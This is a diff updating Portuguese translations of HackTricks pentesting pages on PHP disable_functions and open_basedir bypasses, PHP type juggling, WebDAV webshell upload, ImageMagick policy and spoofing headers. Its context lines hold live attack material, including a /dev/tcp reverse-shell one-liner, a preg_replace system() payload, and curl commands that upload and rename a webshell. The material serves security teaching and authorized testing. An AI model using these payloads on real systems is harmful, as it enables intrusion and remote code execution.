+Normalmente, o _execa_ tenta executar "_nvidia-smi.exe_", que é especificado na variável `nvidiaSmiPath`, no entanto, devido ao `RegExp.prototype.test` e `Array.prototype.join` sobrepostos, **o argumento é substituído por "**_**calc**_**" no processamento interno do _execa**_**.
 
 Especificamente, o argumento é substituído alterando as seguintes duas partes.
+
+[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
+
+[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/imagemagick-security.md

@@ -8,11 +8,11 @@ ImageMagick, uma biblioteca versátil de processamento de imagens, apresenta um
 
 ## Rumo a Políticas Mais Seguras
 
-Para enfrentar esses desafios, uma [ferramenta foi desenvolvida](https://imagemagick-secevaluator.doyensec.com/) para ajudar no design e auditoria das políticas de segurança do ImageMagick. Esta ferramenta é baseada em extensa pesquisa e visa garantir que as políticas não sejam apenas robustas, mas também livres de brechas que possam ser exploradas.
+Para enfrentar esses desafios, uma [ferramenta foi desenvolvida](https://imagemagick-secevaluator.doyensec.com/) para ajudar no design e auditoria das políticas de segurança do ImageMagick. Esta ferramenta é baseada em extensa pesquisa e visa garantir que as políticas sejam não apenas robustas, mas também livres de brechas que possam ser exploradas.
 
 ## Abordagem de Lista de Permissão vs Lista de Negação
 
-Historicamente, as políticas do ImageMagick dependiam de uma abordagem de lista de negação, onde codificadores específicos eram negados acesso. No entanto, mudanças no ImageMagick 6.9.7-7 mudaram esse paradigma, permitindo uma abordagem de lista de permissão. Essa abordagem primeiro nega todos os codificadores e, em seguida, concede acesso seletivamente aos confiáveis, melhorando a postura de segurança.
+Historicamente, as políticas do ImageMagick dependiam de uma abordagem de lista de negação, onde codificadores específicos eram negados acesso. No entanto, mudanças no ImageMagick 6.9.7-7 mudaram esse paradigma, permitindo uma abordagem de lista de permissão. Essa abordagem primeiro nega acesso a todos os codificadores e, em seguida, concede acesso seletivamente aos confiáveis, melhorando a postura de segurança.
 ```xml
 ...
 <policy domain="coder" rights="none" pattern="*" />
@@ -21,7 +21,7 @@ Historicamente, as políticas do ImageMagick dependiam de uma abordagem de lista
 ```
 ## Sensibilidade a Maiúsculas em Políticas
 
-É crucial notar que os padrões de política no ImageMagick são sensíveis a maiúsculas. Assim, garantir que os codificadores e módulos estejam corretamente escritos em maiúsculas nas políticas é vital para evitar permissões indesejadas.
+É crucial notar que os padrões de política no ImageMagick são sensíveis a maiúsculas. Assim, garantir que codificadores e módulos estejam corretamente escritos em maiúsculas nas políticas é vital para evitar permissões indesejadas.
 
 ## Limites de Recursos
 
@@ -29,7 +29,7 @@ O ImageMagick é suscetível a ataques de negação de serviço se não estiver
 
 ## Fragmentação de Políticas
 
-As políticas podem estar fragmentadas em diferentes instalações do ImageMagick, levando a potenciais conflitos ou substituições. É recomendável localizar e verificar os arquivos de política ativos usando comandos como:
+As políticas podem estar fragmentadas em diferentes instalações do ImageMagick, levando a potenciais conflitos ou substituições. É recomendado localizar e verificar os arquivos de política ativos usando comandos como:
 ```shell
 $ find / -iname policy.xml
 ```
@@ -37,10 +37,10 @@ $ find / -iname policy.xml
 
 Um modelo de política restritiva foi proposto, focando em limitações rigorosas de recursos e controles de acesso. Este modelo serve como uma base para desenvolver políticas personalizadas que se alinhem com os requisitos específicos da aplicação.
 
-A eficácia de uma política de segurança pode ser confirmada usando o comando `identify -list policy` no ImageMagick. Além disso, a [ferramenta avaliadora](https://imagemagick-secevaluator.doyensec.com/) mencionada anteriormente pode ser usada para refinar a política com base nas necessidades individuais.
+A eficácia de uma política de segurança pode ser confirmada usando o comando `identify -list policy` no ImageMagick. Além disso, a [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) mencionada anteriormente pode ser usada para refinar a política com base nas necessidades individuais.
 
 ## Referências
 
-- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
+- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/moodle.md

@@ -66,7 +66,7 @@ Eu descobri que as ferramentas automáticas são bastante **inúteis para encont
 
 ## **RCE**
 
-Você precisa ter a função de **gerente** e você **pode instalar plugins** na aba **"Administração do site"**\*\*:\*\*
+Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentro da aba **"Administração do site"**: 
 
 ![](<../../images/image (630).png>)
 

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -18,11 +18,11 @@ Localizações:
 /tmp/
 Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
-## Ignorando comparações PHP
+## Bypassando comparações PHP
 
 ### Comparações soltas/Juggling de Tipo ( == )
 
-Se `==` é usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" só compara valores transformados para o mesmo tipo, se você também quiser comparar se o tipo dos dados comparados é o mesmo, você precisa usar `===`.
+Se `==` for usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" só compara valores transformados para o mesmo tipo, se você também quiser comparar se o tipo dos dados comparados é o mesmo, você precisa usar `===`.
 
 Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
 
@@ -34,16 +34,16 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
 
 - `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
 - `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)
-- `"0e3264578" == 0 --> True` Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0
-- `"0X3264578" == 0X --> True` Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
-- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá ignorar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida de qualquer coisa será igual a 0
+- `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida de qualquer letra (X pode ser qualquer letra) e seguida de qualquer coisa será igual a 0
+- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string de "0" e algum conteúdo que está sendo hashado e comparado a isso. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem qualquer letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
 
 Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
 
 ### **in_array()**
 
-**Juggling de Tipo** também afeta a função `in_array()` por padrão (você precisa definir o terceiro argumento como true para fazer uma comparação estrita):
+**Juggling de Tipo** também afeta a função `in_array()` por padrão (você precisa definir como verdadeiro o terceiro argumento para fazer uma comparação estrita):
 ```php
 $values = array("apple","orange","pear","grape");
 var_dump(in_array(0, $values));
@@ -64,7 +64,7 @@ O mesmo erro ocorre com `strcasecmp()`
 
 ### Conversão de Tipos Estrita
 
-Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **conversão de tipos**. Por exemplo, se a comparação **estiver convertendo os dados para um tipo diferente de objeto antes de comparar**:
+Mesmo se `===` **estiver sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **conversão de tipos**. Por exemplo, se a comparação **estiver convertendo os dados para um tipo diferente de objeto antes de comparar**:
 ```php
 (int) "1abc" === (int) "1xyz" //This will be true
 ```
@@ -74,7 +74,7 @@ Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **compara
 
 #### Bypass de nova linha
 
-No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você poderá contornar essa verificação. Exemplo:
+No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, poderá contornar essa verificação. Exemplo:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
 echo preg_match("/^.*1.*$/",$myinput);
 //0  --> In this scenario preg_match DOESN'T find the char "1"
 ```
-Para contornar essa verificação, você pode **enviar o valor com novas linhas urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
+Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
 ```php
 {
 "cmd": "cat /etc/passwd"
@@ -104,7 +104,7 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
 ```
 From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
 
-#### Bypass de ReDoS
+#### Bypass ReDoS
 
 Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
 
@@ -153,7 +153,7 @@ Verifique:
 
 ## Mais truques
 
-- **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código.
+- **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis** que são usadas dentro do código.
 - Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
 Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
 - Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
@@ -177,7 +177,7 @@ True
 
 A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
 
-Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
+Permitindo contornar, por exemplo, cabeçalhos CSP que estão sendo definidos em códigos como:
 ```php
 <?php
 header("Content-Security-Policy: default-src 'none';");
@@ -204,7 +204,7 @@ php-ssrf.md
 **\`ls\`;**\
 **shell_exec("ls");**
 
-[Verifique isso para mais funções PHP úteis](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
+[Confira isso para mais funções PHP úteis](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE via** **preg_replace()**
 ```php
@@ -274,7 +274,7 @@ Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wire
 
 ### RCE via Variáveis de Ambiente
 
-Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
+Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
 
 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
 - **`PHPRC`** : Instruções ao PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então, use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
@@ -310,7 +310,7 @@ phpinfo();
 ?>
 
 ```
-## Bypass de Sanitização PHP & Brain Fuck
+## Bypass de sanitização PHP & Brain Fuck
 
 [**Neste post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) é possível encontrar ótimas ideias para gerar um código PHP brain fuck com muito poucos caracteres permitidos.\
 Além disso, também é proposta uma maneira interessante de executar funções que permitiram contornar várias verificações:
@@ -319,7 +319,7 @@ Além disso, também é proposta uma maneira interessante de executar funções
 ```
 ## Análise estática de PHP
 
-Veja se você consegue inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
+Verifique se você pode inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
 ```php
 exec, shell_exec, system, passthru, eval, popen
 unserialize, include, file_put_cotents
@@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
 ```
 ## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"])
 
-Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, confira a página a seguir para aprender como:
+Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como:
 
 {{#ref}}
 php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md

@@ -32,7 +32,7 @@ echo `uname -a`
 ```bash
 echo fread(popen("/bin/ls /", "r"), 4096);
 ```
-**proc_open** - Semelhante ao popen(), mas com maior grau de controle
+**proc_open** - Semelhante ao popen(), mas com um maior grau de controle
 ```bash
 proc_close(proc_open("uname -a",array(),$something));
 ```
@@ -40,7 +40,7 @@ proc_close(proc_open("uname -a",array(),$something));
 ```php
 <?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
 ```
-**pcntl_exec** - Executa um programa (por padrão, no PHP moderno e não tão moderno, você precisa carregar o módulo `pcntl.so` para usar esta função)
+**pcntl_exec** - Executa um programa (por padrão, em PHP moderno e não tão moderno, você precisa carregar o módulo `pcntl.so` para usar esta função)
 ```bash
 pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
 ```
@@ -52,7 +52,7 @@ file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA
 
 ### Execução de Código PHP
 
-Além de eval, existem outras maneiras de executar código PHP: include/require podem ser usados para execução remota de código na forma de vulnerabilidades de Local File Include e Remote File Include.
+Além de eval, existem outras maneiras de executar código PHP: include/require podem ser usados para execução remota de código na forma de vulnerabilidades de Inclusão de Arquivo Local e Inclusão de Arquivo Remoto.
 ```php
 ${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
 eval()
@@ -85,10 +85,10 @@ Ambas as configurações podem ser vistas na saída de **`phpinfo()`**:
 
 ## open_basedir Bypass
 
-`open_basedir` configurará as pastas que o PHP pode acessar, você **não poderá escrever/ler/executar nenhum arquivo fora** dessas pastas, mas também você **não poderá nem listar** outros diretórios.\
-No entanto, se de alguma forma você conseguir executar código PHP arbitrário, você pode **tentar** o seguinte trecho de **códigos** para tentar **burlar** a restrição.
+`open_basedir` configurará as pastas que o PHP pode acessar, você **não poderá escrever/ler/executar nenhum arquivo fora** dessas pastas, mas também **não poderá listar** outros diretórios.\
+No entanto, se de alguma forma você conseguir executar código PHP arbitrário, pode **tentar** o seguinte trecho de **códigos** para tentar **burlar** a restrição.
 
-### Listando dirs com glob:// bypass
+### Listando dirs com bypass glob://
 
 Neste primeiro exemplo, o protocolo `glob://` com algum caminho de bypass é usado:
 ```php
@@ -472,7 +472,7 @@ $params = array(
 echo $client->request($params, $code)."\n";
 ?>
 ```
-Esses scripts se comunicarão com o **unix socket do php-fpm** (geralmente localizado em /var/run se o fpm estiver em uso) para executar código arbitrário. As configurações de `open_basedir` serão sobrescritas pelo atributo **PHP_VALUE** que é enviado.\
+Este script se comunicará com o **unix socket do php-fpm** (geralmente localizado em /var/run se o fpm estiver em uso) para executar código arbitrário. As configurações de `open_basedir` serão sobrescritas pelo atributo **PHP_VALUE** que é enviado.\
 Note como `eval` é usado para executar o código PHP que você envia dentro do parâmetro **cmd**.\
 Também note a **linha comentada 324**, você pode descomentá-la e o **payload se conectará automaticamente à URL dada e executará o código PHP** contido lá.\
 Basta acessar `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` para obter o conteúdo do arquivo `/etc/passwd`.
@@ -482,7 +482,7 @@ Basta acessar `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc
 
 ## Bypass de disable_functions
 
-Se você conseguir executar código PHP dentro de uma máquina, provavelmente desejará ir para o próximo nível e **executar comandos de sistema arbitrários**. Nessa situação, é comum descobrir que a maioria ou todas as **funções** PHP que permitem **executar comandos de sistema foram desativadas** em **`disable_functions`.**\
+Se você conseguir executar código PHP dentro de uma máquina, provavelmente desejará ir para o próximo nível e **executar comandos de sistema arbitrários**. Nessa situação, é comum descobrir que a maioria ou todas as **funções** PHP que permitem **executar comandos de sistema estão desativadas** em **`disable_functions`.**\
 Então, vamos ver como você pode contornar essa restrição (se puder)
 
 ### Descoberta automática de bypass
@@ -493,9 +493,9 @@ Você pode usar a ferramenta [https://github.com/teambi0s/dfunc-bypasser](https:
 
 Basta voltar ao início desta página e **verificar se alguma das funções de execução de comandos não está desativada e disponível no ambiente**. Se você encontrar apenas 1 delas, poderá usá-la para executar comandos de sistema arbitrários.
 
-### Bypass de LD_PRELOAD
+### Bypass LD_PRELOAD
 
-É bem conhecido que algumas funções em PHP, como `mail()`, vão **executar binários dentro do sistema**. Portanto, você pode abusar delas usando a variável de ambiente `LD_PRELOAD` para fazer com que carreguem uma biblioteca arbitrária que pode executar qualquer coisa.
+É bem conhecido que algumas funções no PHP, como `mail()`, vão **executar binários dentro do sistema**. Portanto, você pode abusar delas usando a variável de ambiente `LD_PRELOAD` para fazer com que carreguem uma biblioteca arbitrária que pode executar qualquer coisa.
 
 #### Funções que podem ser usadas para contornar disable_functions com LD_PRELOAD
 
@@ -504,7 +504,7 @@ Basta voltar ao início desta página e **verificar se alguma das funções de e
 - **`imap_mail`**: Funciona se o módulo `php-imap` estiver presente.
 - **`libvirt_connect`**: Requer o módulo `php-libvirt-php`.
 - **`gnupg_init`**: Utilizável com o módulo `php-gnupg` instalado.
-- **`new imagick()`**: Esta classe pode ser abusada para contornar restrições. Técnicas de exploração detalhadas podem ser encontradas em um [**writeup aqui**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
+- **`new imagick()`**: Esta classe pode ser abusada para contornar restrições. Técnicas de exploração detalhadas podem ser encontradas em um [**escrito abrangente aqui**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
 
 Você pode [**encontrar aqui**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) o script de fuzzing que foi usado para encontrar essas funções.
 
@@ -524,9 +524,9 @@ return 1;
 #### Bypass usando Chankro
 
 Para abusar dessa má configuração, você pode [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta é uma ferramenta que **gera um exploit PHP** que você precisa fazer o upload para o servidor vulnerável e executá-lo (acessá-lo via web).\
-**Chankro** irá escrever dentro do disco da vítima a **biblioteca e o reverse shell** que você deseja executar e usará o\*\*`LD_PRELOAD` trick + função PHP `mail()`\*\* para executar o reverse shell.
+**Chankro** irá escrever dentro do disco da vítima a **biblioteca e o reverse shell** que você deseja executar e usará o **truque `LD_PRELOAD` + função PHP `mail()`** para executar o reverse shell.
 
-Observe que, para usar **Chankro**, `mail` e `putenv` **não podem aparecer na lista de `disable_functions`**.\
+Note que, para usar **Chankro**, `mail` e `putenv` **não podem aparecer na lista de `disable_functions`**.\
 No exemplo a seguir, você pode ver como **criar um exploit chankro** para **arch 64**, que irá executar `whoami` e salvar a saída em _/tmp/chankro_shell.out_, chankro irá **escrever a biblioteca e o payload** em _/tmp_ e o **exploit final** será chamado **bicho.php** (esse é o arquivo que você precisa fazer o upload para o servidor da vítima):
 
 {{#tabs}}
@@ -593,7 +593,7 @@ O seguinte script tenta alguns dos métodos comentados aqui:\
 
 ### Lista de funções que aceitam callbacks
 
-Essas funções aceitam um parâmetro de string que pode ser usado para chamar uma função da escolha do atacante. Dependendo da função, o atacante pode ou não ter a capacidade de passar um parâmetro. Nesse caso, uma função de Divulgação de Informações como phpinfo() poderia ser usada.
+Essas funções aceitam um parâmetro de string que pode ser usado para chamar uma função da escolha do atacante. Dependendo da função, o atacante pode ou não ter a capacidade de passar um parâmetro. Nesse caso, uma função de Divulgação de Informação como phpinfo() poderia ser usada.
 
 [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
 
@@ -635,7 +635,7 @@ Essas funções aceitam um parâmetro de string que pode ser usado para chamar u
 ```
 ### Divulgação de Informações
 
-A maioria dessas chamadas de função não são sinks. Mas pode ser uma vulnerabilidade se algum dos dados retornados for visível para um atacante. Se um atacante puder ver phpinfo(), isso é definitivamente uma vulnerabilidade.
+A maioria dessas chamadas de função não são sinks. Mas pode ser uma vulnerabilidade se algum dos dados retornados for visível para um atacante. Se um atacante pode ver phpinfo(), isso é definitivamente uma vulnerabilidade.
 ```php
 phpinfo
 posix_mkfifo
@@ -677,7 +677,7 @@ posix_setuid
 ```
 ### Funções do Sistema de Arquivos
 
-De acordo com o RATS, todas as funções do sistema de arquivos em php são problemáticas. Algumas delas não parecem muito úteis para o atacante. Outras são mais úteis do que você pode pensar. Por exemplo, se allow_url_fopen=On, então uma URL pode ser usada como um caminho de arquivo, então uma chamada para copy($\_GET\['s'], $\_GET\['d']); pode ser usada para fazer upload de um script PHP em qualquer lugar do sistema. Além disso, se um site for vulnerável a uma solicitação enviada via GET, cada uma dessas funções do sistema de arquivos pode ser abusada para canalizar um ataque para outro host através do seu servidor.
+De acordo com o RATS, todas as funções do sistema de arquivos em php são problemáticas. Algumas delas não parecem muito úteis para o atacante. Outras são mais úteis do que você pode pensar. Por exemplo, se allow_url_fopen=On, então uma URL pode ser usada como um caminho de arquivo, assim uma chamada para copy($\_GET\['s'], $\_GET\['d']); pode ser usada para fazer upload de um script PHP em qualquer lugar do sistema. Além disso, se um site for vulnerável a uma solicitação enviada via GET, cada uma dessas funções do sistema de arquivos pode ser abusada para canalizar um ataque para outro host através do seu servidor.
 
 **Manipulador de sistema de arquivos aberto**
 ```php

src/network-services-pentesting/pentesting-web/put-method-webdav.md

@@ -4,7 +4,7 @@
 
 Ao lidar com um **Servidor HTTP com WebDav** habilitado, é possível **manipular arquivos** se você tiver as **credenciais** corretas, geralmente verificadas através da **Autenticação Básica HTTP**. Ganhar controle sobre tal servidor muitas vezes envolve o **upload e execução de um webshell**.
 
-O acesso ao servidor WebDav normalmente requer **credenciais válidas**, sendo [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) um método comum para adquiri-las.
+O acesso ao servidor WebDav normalmente requer **credenciais válidas**, com [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) sendo um método comum para adquiri-las.
 
 Para superar restrições em uploads de arquivos, especialmente aquelas que impedem a execução de scripts do lado do servidor, você pode:
 
@@ -21,7 +21,7 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
 ```
 ![](<../../images/image (851).png>)
 
-Isso não significa que **.txt** e **.html extensions estão sendo executadas**. Isso significa que você pode **acessar esses arquivos** através da web.
+Isso não significa que **as extensões .txt e .html estão sendo executadas**. Isso significa que você pode **acessar esses arquivos** pela web.
 
 ## Cadaver
 
@@ -29,7 +29,7 @@ Você pode usar essa ferramenta para **conectar ao servidor WebDav** e realizar
 ```
 cadaver <IP>
 ```
-## Requisição PUT
+## Solicitação PUT
 ```
 curl -T 'shell.txt' 'http://$ip'
 ```
@@ -37,20 +37,20 @@ curl -T 'shell.txt' 'http://$ip'
 ```bash
 curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
 ```
-## IIS5/6 WebDav Vulnerability
+## Vulnerabilidade do WebDav no IIS5/6
 
-Esta vulnerabilidade é muito interessante. O **WebDav** **não permite** **carregar** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **contornar** isso **adicionando** no final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também poderia **usar ".html" em vez de ".txt"** mas **NÃO se esqueça do ";"**).
+Esta vulnerabilidade é muito interessante. O **WebDav** **não permite** **carregar** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **contornar** isso **adicionando** no final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também poderia **usar ".html" em vez de ".txt"**, mas **NÃO se esqueça do ";"**).
 
 Então você pode **carregar** seu shell como um arquivo ".**txt"** e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo através do servidor web, ele será **executado** (o cadaver dirá que a ação de mover não funcionou, mas funcionou).
 
 ![](<../../images/image (1092).png>)
 
-## Post credentials
+## Credenciais pós
 
-Se o Webdav estiver usando um servidor Apache, você deve olhar os sites configurados no Apache. Comumente:\
-\_**/etc/apache2/sites-enabled/000-default**_
+Se o Webdav estiver usando um servidor Apache, você deve verificar os sites configurados no Apache. Comumente:\
+_**/etc/apache2/sites-enabled/000-default**_
 
-Dentro dele você poderia encontrar algo como:
+Dentro dele você pode encontrar algo como:
 ```
 ServerAdmin webmaster@localhost
 Alias /webdav /var/www/webdav
@@ -67,7 +67,7 @@ Como você pode ver, há os arquivos com as **credenciais** válidas para o serv
 ```
 Dentro deste tipo de arquivos, você encontrará o **username** e um **hash** da senha. Estas são as credenciais que o servidor webdav está usando para autenticar usuários.
 
-Você pode tentar **crack** them, ou **add more** se por algum motivo você quiser **access** o servidor **webdav**:
+Você pode tentar **crack**-á-los, ou **adicionar mais** se por algum motivo você quiser **acessar** o servidor **webdav**:
 ```bash
 htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
 ```

src/network-services-pentesting/pentesting-web/special-http-headers.md

@@ -26,7 +26,7 @@ Rewrite **IP source**:
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
+- `Connection: close, X-Forwarded-For` (Verifique os cabeçalhos hop-by-hop)
 
 Rewrite **location**:
 
@@ -35,7 +35,7 @@ Rewrite **location**:
 
 ## Hop-by-Hop headers
 
-Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, em vez de um cabeçalho de ponta a ponta.
+Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, ao contrário de um cabeçalho de ponta a ponta.
 
 - `Connection: close, X-Forwarded-For`
 
@@ -85,7 +85,7 @@ Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e
 - **`Accept-Ranges`**: Indica se o servidor suporta solicitações de intervalo e, se sim, em qual unidade o intervalo pode ser expresso. `Accept-Ranges: <range-unit>`
 - **`Range`**: Indica a parte de um documento que o servidor deve retornar. Por exemplo, `Range:80-100` retornará os bytes 80 a 100 da resposta original com um código de status 206 Partial Content. Também lembre-se de remover o cabeçalho `Accept-Encoding` da solicitação.
 - Isso pode ser útil para obter uma resposta com código JavaScript refletido arbitrário que, de outra forma, poderia ser escapado. Mas para abusar disso, você precisaria injetar esses cabeçalhos na solicitação.
-- **`If-Range`**: Cria uma solicitação de intervalo condicional que só é atendida se o etag ou a data correspondem ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
+- **`If-Range`**: Cria uma solicitação de intervalo condicional que só é atendida se o etag ou a data fornecidos corresponderem ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
 - **`Content-Range`**: Indica onde em uma mensagem de corpo completo uma mensagem parcial pertence.
 
 ## Message body information
@@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
